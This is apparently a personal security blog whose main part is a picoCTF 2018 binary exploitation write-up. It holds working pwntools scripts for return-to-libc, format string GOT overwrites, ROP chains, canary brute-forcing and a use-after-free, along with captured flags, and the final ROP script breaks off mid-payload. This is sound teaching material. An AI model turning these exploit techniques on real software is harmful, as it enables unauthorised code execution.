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Learning something is pretty difficult in security. It has a steep learning curve for sure. There are a lot of resources online - but just not enough. (Even moreso if you compare it to the amount of computer science resources there are, I feel like we just lack a variety) After some point, the attacks get sophisticated, but you can't really learn from anything, you'll have to research vulnerabilities by yourself. My friend's also expressed a concern about how he felt so standalone in the field whenever he tried to learn something new.

Of course, we could attend conferences, but it would be better if documentation was just available online.


That's why you need to write documentation. Whether that be a short, easy way to do things, or a really complicated method, writing it down will help someone else. Writing it down will help yourself. You'll get to remember more, understand more, and share your knowledge along the way.


I hope to write some docs over the next few months too.

Share your knowledge. Sharing is caring.


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Double_Staged_Format_String_Attack__pwn3r.pdf

Olly Debugger 사용 방법 강좌 2부.hwp

bof_fsb.hwp

remote_overflow2.pdf

remote_overflow1.pdf

code_exec.pdf

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asm_beginner.pdf

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datastructures.pdf

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semaphores.pdf

fsb.pdf

ret-t-lib.pdf

BOF_strace.hwp


약간 유통기간(?)이 지난 문서들도 있겠지만 읽을 문서들이 필요했고,

해커스쿨 플래시 인터페이스는 2005년에는 멋있었겠지만 2019년에는 경악을 금치 못하는 수준이라

슬며시 재미있어보이는것들만 따와서 여기 올린다.


https://www.hackerschool.org/HardwareHacking/

여기도 재미있어보이지만 하드웨어는 일단 소프트웨어부터 익숙해진 후에 시도해보려 한다.

흠..배고프다

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http://phishinginfo.weebly.com/
A trip down memory lane.

Don't get baited, save your privacy.


Here's a ppt I made 6 years ago:


phishingmethods.pptx


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It's finally time. I've always thought about translating this post but I finally get to do it now.


[What is Lord of the BOF?]

From a relatively easy environment, Redhat 6.2 to the ultimate Fedora 14 -

You'll have to go through numerous levels and show off your BOF skills.


Solve the highest level and shoot me an email at chanbin.lee123@gmail.com with a writeup of the death_knight challenge - I'll send you the Fedora image file.


[How to]

Lord of the BOF is given as a vmware image so that you'll have your own environment to connect into and play.


[Download]

1. Download the following vmware image and boot up!

http://hackerschool.org/TheLordofBOF/TheLordOfTheBOF_redhat_bootable.zip

2. Login with credentials: gate/gate

3. Set up your network settings through netconfig (There's a setuid set on the system)

4. Check your ip. (/sbin/ifconfig)

5. Use something like putty or xshell to connect(telnet) to the image and start hacking. 


[Basic Rules]

1. No single boot

2. No root exploit

3. NOT allowed to use LD_PRELOAD on the /bin/my-pass command


[How to check your next level's password]

/bin/my-pass


[List of Levels]


LEVEL1 (gate -> gremlin) :  simple bof

LEVEL2 (gremlin -> cobolt) : small buffer

LEVEL3 (cobolt -> goblin) : small buffer + stdin

LEVEL4 (goblin -> orc) : egghunter

LEVEL5 (orc -> wolfman) : egghunter + bufferhunter

LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter

LEVEL7 (darkelf -> orge) : check argv[0]

LEVEL8 (orge -> troll) : check argc

LEVEL9 (troll -> vampire) : check 0xbfff

LEVEL10 (vampire -> skeleton) : argv hunter

LEVEL11 (skeleton -> golem) : stack destroyer

LEVEL12 (golem -> darkknight) : sfp 

LEVEL13 (darkknight -> bugbear) : RTL1

LEVEL14 (bugbear -> giant) : RTL2, only execve

LEVEL15 (giant -> assassin) : no stack, no RTL

LEVEL16 (assassin -> zombie_assassin) : fake ebp

LEVEL17 (zombie_assassin -> succubus) : function calls

LEVEL18 (succubus -> nightmare) : plt

LEVEL19 (nightmare -> xavis) : fgets + destroyers

LEVEL20 (xavis -> death_knight) : remote BOF 



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Name | Chanbin Lee (EverTokki)

Major | Computer Science

Hobbies | Drawing, CTF, osu!



(I really like bulbasaurs)


I like making stuff, breaking stuff..

But I write posts about breaking stuff more than making stuff.


I've competed with:

2013.09 - 2015. 01: 🇰🇷 Team LeaveRet

2019. 02: 🇨🇦 Team Maple Bacon

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Updating my blog skin right now.

VERY CLUNKY. I HOPE TO GET THAT FIXED SOON.


Otherwise

I'm pretty excited to boot my blog back up.

Lovely stuff. See you all soon.

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I read the following post when I realized I needed pwntools: https://pequalsnp-team.github.io/cheatsheet/socket-basics-py-js-rb

Awesome tool to have. Makes things more convenient and easier to share.


Note: this writeup covers binary exploitation only.


This is random but I found a set of slides with a lot of info (refer to the references section)

http://security.cs.rpi.edu/~candej2/user/userland_exploitation.pdf

https://www.cs.virginia.edu/~cr4bd/4630/S2017/schedule.html




leak-me 

Points: 200


Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 38315.



Just try and overflow the buffer (because that's what I do when I see a problem - obviously not good practice and won't work on other CTFs than pico)


EverTokki@pico-2018-shell:~$ (echo -e `perl -e 'print "\x90"x312'`) | nc 2018shell.picoctf.com 38315What is your name?
Hello �������������������������������������������������������������������

�������������������������������������������������������������������

�������������������������������������������������������������������

������������������������������������������������������,a_reAllY_s3cuRe_p4s$word_f85406

Incorrect Password!





got-2-learn-libc

Points: 250


This program gives you the address of some system calls. Can you get a shell? 


I used pwntools by apt-getting in /home/<user> because this is the only directory you'll have the perms for on the pico server to do anything.

This was my first time using this tool + I was not familiar with python = writing disasterous code


Read up on the following articles for more info on GOT, PLT, RTL (return-to-libc) and how to actually execute them:

https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html

https://github.com/Bretley/how2exploit_binary/tree/master/exercise-4



Basically you want to send 148 bytes of stuff, a return address (which is a call to system()), a dummy (which is the return address coming from system()), and the address of /bin/sh (given through the program output)


[Buffer 148 bytes] [RET 4 bytes] [DUMMY 4 bytes] [/bin/sh 4 bytes]


If you run the program multiple times, you realize that the function addresses keep changing - yikes seems like ASLR!

That's why I recommended the readings above because you can bypass this.


First calculate the offset from libc <--> puts on gdb, then calculate the offset from libc <--> system because offsets are set values. 

Because the program hands the address of puts to you after it's run, you don't have to worry about ASLR after implementing the code


The most challenging part was actually coding this up because it's been a while since I've ever touched python (about 5 years) and back then I wasn't even proficient either so.. after a lot of debugging I came up with the following code.


The nop is 160 long because if the exploit doesn't work with 148, basically just go up with multiples of 4 until you make it :)


from pwn import *

r = process('/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/vuln')

r.recvline()
r.recvline()
p = r.recvline()
r.recvline()
r.recvline()
r.recvline()
ustr = r.recvline()
r.recvline()
r.recvline()

# Cut the received string into numbers (0x...)
p_addr = int(p[6:],16)
ustr_addr = int(ustr[15:],16)

#LIBC offsets
p_offset = 0x46C00
s_offset = 0x22400
 
#Calculate system address
s_addr = p_addr - p_offset + s_offset

#Payload
exploit = "\x90"*160
exploit += p32(s_addr, endian='little')
exploit += "\x90"*4
exploit += p32(ustr_addr, endian='little')

r.sendline(exploit)
r.interactive()


EverTokki@pico-2018-shell:~$ python rtl.py 

[+] Starting local process '/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/vuln': pid 31318

[*] Switching to interactive mode

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@?[?\x90\x90\x90\x900P[V

Thanks! Exiting now...

$ cat /problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/flag.txt

picoCTF{syc4al1s_4rE_uS3fUl_b61928e8}$  





authenticate

Points: 350


Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 52398.


If anyone knows me from my olden days, I've only known the format string vulnerability and never used it. 

I've also known ROP and never tried it.

I've never bypassed stack canary. OR bypassed ASLR.

I love pico. It's a perfect opportunity.


https://blogs.tunelko.com/2013/11/11/format-string-attack-introduction/

This helped me a lot.



So you want to overwrite the authenticated variable, but how? It's a global variable.. How could we ever reach that?

Take a look at the hint.


Well, if you don't give it an input thats YES or NO, it printfs buf (!!!!).. It's a format string bug.



(I opened the binary file on this page https://onlinedisassembler.com/ to find the address of the 'authenticated' variable)

Throw that inside your payload, load it into yo' stack and then now you have to locate it.


EverTokki@pico-2018-shell:~$ echo `perl -e 'print "AAAA",".%p"x11'` | nc 2018shell.picoctf.com 52398

Would you like to read the flag? (yes/no)

Received Unknown Input:


AAAA.0x80489a6.0xf76e55a0.0x804875a.0xf771d000.0xf771d918.0xffc5c3d0.0xffc5c4c4.(nil).0xffc5c464.0x42b.0x41414141

Sorry, you are not *authenticated*!


You see the buffer values when you give in the above. (Just put a bunch of %ps in the first time and locate where you see your stuff)

This means that our input is located after 11 4-byte chunks in the stack.


After putting the address of 'authenticated' into the buffer you want to overwrite it, right? 

You can overwrite the 'authenticated' variable using %n , overwriting the 'authenticated' variable with anything other than 0.

(%n will refer to &<ADDRESS> which you already have put into the stack.)


EverTokki@pico-2018-shell:~$ cat auth.py

#exp.py

#!/usr/bin/env python

from pwn import *


r = remote('2018shell.picoctf.com', 52398)


print r.recvuntil("Would you like to read the flag? (yes/no)\n")


exploit = "\x4c\xa0\x04\x08"

exploit += "%p"*10

exploit += "%n"


print "Sending stuff...\n"

r.sendline(exploit)


print r.recv()

print r.recv()


EverTokki@pico-2018-shell:~$ python auth.py 

[+] Opening connection to 2018shell.picoctf.com on port 52398: Done

Would you like to read the flag? (yes/no)


Sending stuff...


Received Unknown Input:



L\xa0\x00x80489a60xf776e5a00x804875a0xf77a60000xf77a69180xffbe35800xffbe3674(nil)0xffbe36140x42b

Access Granted.

picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_0bec1698}


[*] Closed connection to 2018shell.picoctf.com port 52398





got-shell?

Points: 350


Can you authenticate to this service and get the flag? Connect to it with nc 2018shell.picoctf.com 46464


So... I don't have a strong understanding of PLT / GOT either, all I know is that processes reference to them in order to execute library functions, such as printf(), puts(), exit()... etc. 


For this problem I referred to the article below.

https://www.exploit-db.com/papers/13203


I eventually figured what I wanted to do was to overwrite the address that exit@plt was referring to. 

With what? Of course, the address of win. Let's get that first.


EverTokki@pico-2018-shell:~$ gdb auth

Reading symbols from auth...(no debugging symbols found)...done.

(gdb) p win

$1 = {<text variable, no debug info>} 0x804854b <win>


Pretty straightforward. We want the function to jump to win after it executes.

Now let's find where we should overwrite these values on.


EverTokki@pico-2018-shell:~$ objdump --dynamic-reloc ./auth | grep exit

0804a014 R_386_JUMP_SLOT   exit@GLIBC_2.0


We have two addresses.


dhcp-206-87-132-189:Downloads EverTokki$ nc 2018shell.picoctf.com 46464

I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?

0804a014

Okay, now what value would you like to write to 0x804a014

804854b

Okay, writing 0x804854b to 0x804a014

Okay, exiting now...


ls

auth

auth.c

flag.txt

xinet_startup.sh


cat flag.txt

picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_7a9e7634}




rop chain

Points: 350


Can you exploit the following program and get the flag? 




Seems like you'll have to call win_function1 --> win_function2 --> flag in order to satisfy all conditions.

Sounds like rtl(return-to-libc) chaining. Guess we can call that rop(return-oriented-programming) too.


What we need:
1. Address to win_function1()

2. Address to win_function2()

3. Address to flag()

4. Gadget : pop ret


What we want the payload to look like:

[Buffer 16 bytes + x amount of padding (that you can determine by brute forcing)]  [win1 address 4 bytes] [win2 address 4 bytes] [pop ret gadget 4 bytes] [ 0xBAAAAAAD ] [flag address 4 bytes] [dummy 4 bytes] [ 0xDEADBAAD ]


Please read up on return-to-libc and some rop articles if you don't understand why the payload is as is.


Simply put, after returning from win2, you know that win2 takes one parameter (0xBAAAAAAD). So you have to jump over that one argument in order to execute flag(). (Basically what pop ret does.) If win2 were to take two parameters, you would have to find a pop pop ret gadget.


Let's do it.


EverTokki@pico-2018-shell:/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d$ gdb rop

Reading symbols from rop...(no debugging symbols found)...done.

(gdb) p win_function1

$1 = {<text variable, no debug info>} 0x80485cb <win_function1>

(gdb) p win_function2

$2 = {<text variable, no debug info>} 0x80485d8 <win_function2>

(gdb) p flag

$3 = {<text variable, no debug info>} 0x804862b <flag>

(gdb) q


EverTokki@pico-2018-shell:/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d$ objdump -d rop | grep -B4 "ret"

 8048403: 74 05                je     804840a <_init+0x1e>

 8048405: e8 b6 00 00 00       call   80484c0 <setresgid@plt+0x10>

 804840a: 83 c4 08             add    $0x8,%esp

 804840d: 5b                   pop    %ebx

 804840e: c3                   ret    


rop.py:

You know what I totally forgot? 

The p32 function. (smh)

from pwn import *


r = process('/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop')


print r.recvuntil("Enter your input>")


exploit = "\x90"*28


exploit += "\xcb\x85\x04\x08"     # win_function1

exploit += "\xd8\x85\x04\x08"     # win_function2

exploit += "\x0d\x84\x04\x08"     # gadget: pop ret

exploit += "\xAD\xAA\xAA\xBA"    # win_function2 args

exploit += "\x2b\x86\x04\x08"     # flag

exploit += "\x90"*4

exploit += "\xAD\xBA\xAD\xDE"


r.sendline(exploit)

print r.recvline()


But it works!

EverTokki@pico-2018-shell:/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d$ python /home/EverTokki/rop.py

[+] Starting local process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop': pid 1887127

Enter your input>

 picoCTF{rOp_aInT_5o_h4Rd_R1gHt_536d67d1}


[*] Stopped process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop' (pid 1887127)




buffer overflow 3

Points: 450


It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag? 



Took me much longer than it should've.

I read the following writeup after searching for 'brute-force stack canary': 

https://github.com/VulnHub/ctf-writeups/blob/master/2017/codegate-prequels/babypwn.md



Read the writeup above, implement the code.

Brute-force each canary byte by checking whether you've overwritten the value with something that the program can't detect (correct canary byte) or one that gives you an error (wrong canary byte)


After your canary is cooked up, send the payload with a return address to win()


#!/usr/bin/env python


from pwn import *


canary = ""

canary_offset = 32

guess = 0x0


win = 0x80486eb


buf = ""

buf += "A" * canary_offset


while len(canary) < 4:

    while guess != 0xff:

        #try:

            r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')


            r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")

            r.sendline("36")


            r.recvuntil("Input> ")

            r.send(buf + chr(guess))


            d = r.recv(timeout=5)

            print d


            if "***" not in d:

             print "Guessed correct byte:", format(guess, '02x')

             canary += chr(guess)

             buf += chr(guess)

             guess = 0x0

             break


            else:

             guess += 1


print "Canary:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)


r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')

r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")

r.sendline("200")


r.recvuntil("Input> ")

r.send(buf + canary + p32(win)*10)


print r.recv(timeout=5)


me: so... do I need to know how to calculate the padding?

friend: no, because you'll usually be able to see it in your ida. since you have the source code here, you know it's safe to just put random numbers of stuff


EverTokki@pico-2018-shell:/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e$ python /home/EverTokki/cantest.py

[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 54329

[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 255 (pid 54329)

*** Stack Smashing Detected *** : Canary Value Corrupt!

[...]


[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58571

[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 0 (pid 58571)

Ok... Now Where's the Flag?


Guessed correct byte: 25

Canary:\x3c\x7a\x4f\x25

[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58573

Ok... Now Where's the Flag?

picoCTF{eT_tU_bRuT3_F0Rc3_9bb35cfd}




echo back

Points: 500


This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell.picoctf.com 37402.



Great opportunity to solidify my understanding of PLT / GOT. :')



Although I watched a walkthrough of this problem, I still struggled with the concepts of FSB + GOT/PLT, so I got a friend to step me through the problem, literally hold my hand, and explain what had to be done. 

Some few things he has mentioned:
1. It's easier (to understand your own payload + calculate offsets) if you put all the necessary addresses at the very beginning of your payload
2. If you have a negative offset that you have to overwrite, (e.g. you want to write 0x0804 but you already have outputted 0x8230 characters) you can use 0x10804 instead, with the %hn function in order to only write the last two bytes.
3. PLT is read-only.

After listening to his lecture for a while I went and watched the video above because for some reason, navigating through a program using gdb still sometimes confuses me over and the knowledge didn't seem to be sticking with me.

When you call a function, it jumps to PLT. 
PLT contains a jump to the GOT. 
GOT is a table, empty when you look at the binary file but once you run your program and your library is loaded, the addresses will be dynamically linked to the procedure so that another jump from the GOT will lead at the function at LIBC. 

If you understand what a FSB is and how you can overwrite GOT with it, along with knowing the overall concept of got/plt you're ready for this problem.

WHAT WE WANT TO DO

printf@GOT --> system@PLT

puts@GOT --> &main


There are a lot of ways to get addresses but let's use the one I learned recently because I feel proud of myself:


EverTokki@pico-2018-shell:~/echoback$ objdump -R echoback 


echoback:     file format elf32-i386


DYNAMIC RELOCATION RECORDS

OFFSET   TYPE              VALUE 

08049ffc R_386_GLOB_DAT    __gmon_start__

0804a038 R_386_COPY        stdout@@GLIBC_2.0

0804a00c R_386_JUMP_SLOT   read@GLIBC_2.0

0804a010 R_386_JUMP_SLOT   printf@GLIBC_2.0

0804a014 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4

0804a018 R_386_JUMP_SLOT   getegid@GLIBC_2.0

0804a01c R_386_JUMP_SLOT   puts@GLIBC_2.0

0804a020 R_386_JUMP_SLOT   system@GLIBC_2.0

0804a024 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0

0804a028 R_386_JUMP_SLOT   setvbuf@GLIBC_2.0

0804a02c R_386_JUMP_SLOT   setresgid@GLIBC_2.0


EverTokki@pico-2018-shell:~/echoback$ objdump -d echoback | grep "system"

08048460 <system@plt>:

 80485dc: e8 7f fe ff ff        call   8048460 <system@plt>


printf@got: 0x0804A010

puts@got: 0x0804A01C

system@plt: 0x8048460

main: 0x08048643


The reason you overwrite it to system@plt - first of all, you gotta overwrite GOT because you can't overwrite PLT

After you overwrite say, printf@GOT to system@PLT, the function will call vuln again (puts@GOT --> &main) the printf call at PLT will jump to system@PLT, which will then be jump to system@GOT and system@LIBC


from pwn import *


r = remote('2018shell.picoctf.com', 37402)

# r = process('/home/EverTokki/echoback/echoback')


system_plt = 0x08048460

printf_got_1 = 0x0804a010

printf_got_2 = 0x0804a012

puts_got_1 = 0x0804a01c

puts_got_2 = 0x0804a01e

main = 0x08048643


# buffer is located at 7th argument


# load addresses into buffer

# printf_got 2 bytes each

payload = p32(printf_got_1)

payload += p32(printf_got_2)


# puts_got 2 bytes each

payload += p32(puts_got_1)

payload += p32(puts_got_2)


# 16 bytes written


# overwrite printf @ GOT (which is the library address to printf)  --> system @ plt

# write 0x8460(33888) to printf_got 

payload += "%33872c%7$hn"


# write 0x10804(67588) to printf_got+2

payload += "%33700c%8$hn"


# overwrite puts @ GOT --> &main

# write 0x18643(99907) to puts_got

payload += "%32319c%9$hn"


# write 0x20804(133124) to puts_got+2

payload += "%33217c%10$hn"


print r.recvuntil("input your message:")


print "Sending payload..."

r.send(payload)

r.interactive()



EverTokki@pico-2018-shell:~/echoback$ python got_ovr.py 

[+] Opening connection to 2018shell.picoctf.com on port 37402: Done

input your message:

Sending payload...

[*] Switching to interactive mode


\x10\xa0\x0\x12\xa0\x0\x1c\xa0\x0\x1e\xa0\x0  


[...]


                                        pinput your message:

$ ls

echoback

echoback.c

flag.txt

xinet_startup.sh

input your message:

$ cat flag.txt

picoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_ee5a92ac}

input your message:

$ 

[*] Interrupted

[*] Closed connection to 2018shell.picoctf.com port 37402


Not on topic but I really need to come up with some smart solution to embedding code on my blog..




are you root? 

Points: 550


Can you get root access through this service and get the flag? Connect with nc 2018shell.picoctf.com 26847.



Okay. Instead of the usual documenting-after-solve, I'll write things as I go.


This is a case of a use-after free bug. I was first introduced to it because my friend, cd80, had written a document on it (Korean): https://cd80.tistory.com/40

Instead of calloc, you're using malloc - this does not clean out your heap space after you finish using it. That's not good.

I kinda already knew this method, so the only thing I really have to do is understand how the bug works and how to implement an exploit.


I installed gdb peda.

Life is actually awesome with tools.. So far I've been having a great time, not sure how that's going to work out once problems get complicated.

Let's play around with the heap, because I have no idea how it works.


gdb-peda$ b *0x0400b4b

Breakpoint 1 at 0x400b4b


gdb-peda$ r

Starting program: /home/EverTokki/r_u_rt/auth 

Available commands:

show - show your current user and authorization level

login [name] - log in as [name]

set-auth [level] - set your authorization level (must be below 5)

get-flag - print the flag (requires authorization level 5)

reset - log out and reset authorization level

quit - exit the program


Enter your command:

> login AAAA


gdb-peda$ c

Continuing.

Logged in as "AAAA"


Enter your command:

> set-auth 3


gdb-peda$ parseheap

addr                prev                size                 status              fd                bk                

0x603000            0x0                 0x410                Used                None              None

0x603410            0x0                 0x20                 Used                None              None

0x603430            0x0                 0x20                 Used                None              None


gdb-peda$ x/40wx 0x603410    

0x603410: 0x00000000 0x00000000 0x00000021 0x00000000 

0x603420: 0x00603440 0x00000000 0x00000003 0x00000000 <---- AUTH_VAR

0x603430: 0x00000000 0x00000000 0x00000021 0x00000000

0x603440: 0x41414141 0x00000000 0x00000000 0x00000000 <---- NAME

0x603450: 0x00000000 0x00000000 0x00020bb1 0x00000000

0x603460: 0x00000000 0x00000000 0x00000000 0x00000000

0x603470: 0x00000000 0x00000000 0x00000000 0x00000000

0x603480: 0x00000000 0x00000000 0x00000000 0x00000000

0x603490: 0x00000000 0x00000000 0x00000000 0x00000000

0x6034a0: 0x00000000 0x00000000 0x00000000 0x00000000

gdb-peda$ 


Three things to note: 

1. The 0x21 is the least significant bits, that are used in order to indicate that the block above is being used (in the heap). So after you free the heap space, this would be changed to 0x20 (from: https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580)

2. You can see that AAAA and 3 were both stored in the heap. 

3. The file is 64-bits which I've never worked with :')


What I concluded (after suffering for a whole two hours):

I struct an instance of user, with some kind of name + '\x05' --> I reset (free(user->name)) and login(malloc(user)) again, with the same name. 

Now that there is a 5 after the name of the new user (which the code thinks it references to as "level"). 


What took a long time for me was that I thought this would be some pointer manipulation problem. 


EverTokki@pico-2018-shell:~/r_u_rt$ (echo `perl -e 'print "login ", "A", "\x05"x8'`;cat)|nc 2018shell.picoctf.com 26847

Available commands:

show - show your current user and authorization level

login [name] - log in as [name]

set-auth [level] - set your authorization level (must be below 5)

get-flag - print the flag (requires authorization level 5)

reset - log out and reset authorization level

quit - exit the program


Enter your command:

> Logged in as "A"


Enter your command:

> reset

Logged out!


Enter your command:

> login A

Logged in as "A"


Enter your command:

> show

Logged in as A [5]


Enter your command:

> get-flag

picoCTF{m3sS1nG_w1tH_tH3_h43p_4baeffe9}




can-you-gets-me 

Points: 650


Can you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag. 




Yo it'd be actually dope if I could do this (this is dope because the last time I tried ROP was 3 years ago and I couldn't understand it)


References: 

https://bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a

https://css.csail.mit.edu/6.858/2014/readings/i386.pdf

https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/


My friend's documentation (Korean): https://t1.daumcdn.net/cfile/tistory/23274B3855A3B4F00E



I mainly followed this write-up through my steps.

http://barrebas.github.io/blog/2015/06/28/rop-primer-level0/


EverTokki@pico-2018-shell:/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40$ gdb -q gets

Reading symbols from gets...(no debugging symbols found)...done.

gdb-peda$ checksec

CANARY    : disabled

FORTIFY   : disabled

NX        : ENABLED

PIE       : disabled

RELRO     : Partial

gdb-peda$ 


1. Look at the source code; we don't have a system call or anything, only gets() --> we want to build a ROP chain for execve("/bin/sh")

We're going to do this using gadgets. Gadgets, in this case, will help you store information in the registers because the system call uses registers to pass on arguments (this may depend because arguments can be passed on the stack too) 


You could either refer to the linux sys call page or check out the man page to execve.


int execve(const char *filename, char *const argv[], char *const envp[]);

                                  ebx                         ecx                      edx


2. Dump your gadgets (I used ROPgadget)

> We'll need int 0x80; ret, and a few more


3. Find read/writeable space


EverTokki@pico-2018-shell:/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40$ gdb -q gets

Reading symbols from gets...(no debugging symbols found)...done.

gdb-peda$ vmmap

Warning: not running

Start      End        Perm Name

0x080481a8 0x080bb314 rx-p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets

0x080480f4 0x080e87dc r--p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets

0x080e9f5c 0x080ebda4 rw-p /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets

gdb-peda$ 


0x080b81c6 : pop eax ; ret

0x0806f02a : pop edx ; ret

0x080549db : mov dword ptr [edx], eax ; ret

0x08049303 : xor eax, eax ; ret


"The plan is now to pop the address 0x080e9f5c into edx and the value /bin into eax. The address is arbitrary, but chosen such that we don’t overwrite anything important or that the address contains NULL bytes."



[----------------------------------registers-----------------------------------]

EAX: 0x0 

EBX: 0x80481a8 (<_init>: push   ebx)

ECX: 0x80ea360 --> 0xfbad2088 

EDX: 0x80e904b --> 0x0 

ESI: 0x80ea00c --> 0x80671f0 (<__strcpy_sse2>: mov    edx,DWORD PTR [esp+0x4])

EDI: 0x55 ('U')

EBP: 0x80e9040 --> 0x100ec343 

ESP: 0xffffd574 --> 0x0 

EIP: 0x43434343 ('CCCC')

EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

Invalid $PC address: 0x43434343

[------------------------------------stack-------------------------------------]

0000| 0xffffd574 --> 0x0 

0004| 0xffffd578 --> 0xffffd624 --> 0xffffd756 ("/home/EverTokki/rop/gets")

0008| 0xffffd57c --> 0x80488a3 (<main>: lea    ecx,[esp+0x4])

0012| 0xffffd580 --> 0x0 

0016| 0xffffd584 --> 0x80481a8 (<_init>: push   ebx)

0020| 0xffffd588 --> 0x80ea00c --> 0x80671f0 (<__strcpy_sse2>: mov    edx,DWORD PTR [esp+0x4])

0024| 0xffffd58c --> 0x55 ('U')

0028| 0xffffd590 --> 0x1000 

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x43434343 in ?? ()

gdb-peda$ x/s 0x080e9040

0x80e9040: "C\303\016\020/bin/sh"

gdb-peda$ x/s 0x080e9044

0x80e9044: "/bin/sh"

gdb-peda$ 


Okay, for some reason, I wasn't able to overwrite the memory just with '/bin/sh', I had to add a padding - but now it works. We have "/bin/sh" in memory.

I calculated the padding wrong, It's supposed to be 28 bytes.


Onto the next step.


0x0806f051 : pop ecx ; pop ebx ; ret

0x080d5dc1 : inc ecx ; ret

0x0805d097 : inc edx ; ret


0x0808f097 : add eax, 2 ; ret

0x0808f0b0 : add eax, 3 ; ret


0x0806cc25 : int 0x80

0x080481b2 : ret



EverTokki@pico-2018-shell:~/rop$ gdb -q gets

Reading symbols from gets...(no debugging symbols found)...done.

gdb-peda$ run < input

Starting program: /home/EverTokki/rop/gets < input

GIVE ME YOUR NAME!

process 153281 is executing new program: /bin/dash

process 153281 is executing new program: /bin/dash

[Inferior 1 (process 153281) exited normally]

Warning: not running

gdb-peda$


Is that a shell? Looks like it to me.


EverTokki@pico-2018-shell:~/rop$ python rop_exp.py 

[+] Starting local process '/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets': pid 153530

GIVE ME YOUR NAME!

[*] Switching to interactive mode


$

$ cd /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/

$ ls

flag.txt  gets    gets.c

$ cat flag.txt

picoCTF{rOp_yOuR_wAY_tO_AnTHinG_f5072d23}$ 


Final exploit (revised):

from pwn import *


r = process('/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/gets') 

#r = process('/home/EverTokki/rop/gets')


writeable_memory = 0x080e9040

binsh = 0x80e9040

int80 = 0x0806cc25

ret = 0x080481b2


pop_eax = 0x080b81c6

pop_edx = 0x0806f02a

pop_ecx_ebx = 0x0806f051

mov_eax_to_edx = 0x080549db


set_eax_zero = 0x08049303

add_eax_two = 0x0808f097

add_eax_three = 0x0808f0b0


inc_ecx = 0x080d5dc1 

inc_edx = 0x0805d097 


payload = ""


# reaching the saved return address

payload += "A"*28


payload += p32(pop_edx) # pop edx; ret

payload += p32(writeable_memory) # read_writeable space


payload += p32(pop_eax) # pop eax; ret

payload += "/bin"        # first part of /bin/sh

payload += p32(mov_eax_to_edx) # mov dword ptr[edx], eax; ret


writeable_memory += 4


payload += p32(pop_edx) # pop edx; ret

payload += p32(writeable_memory) # read_writeable space


payload += p32(pop_eax)    # pop eax; ret

payload += "/shX"          # null-terminate this string later


payload += p32(mov_eax_to_edx)   # mov dword ptr[edx], eax; ret


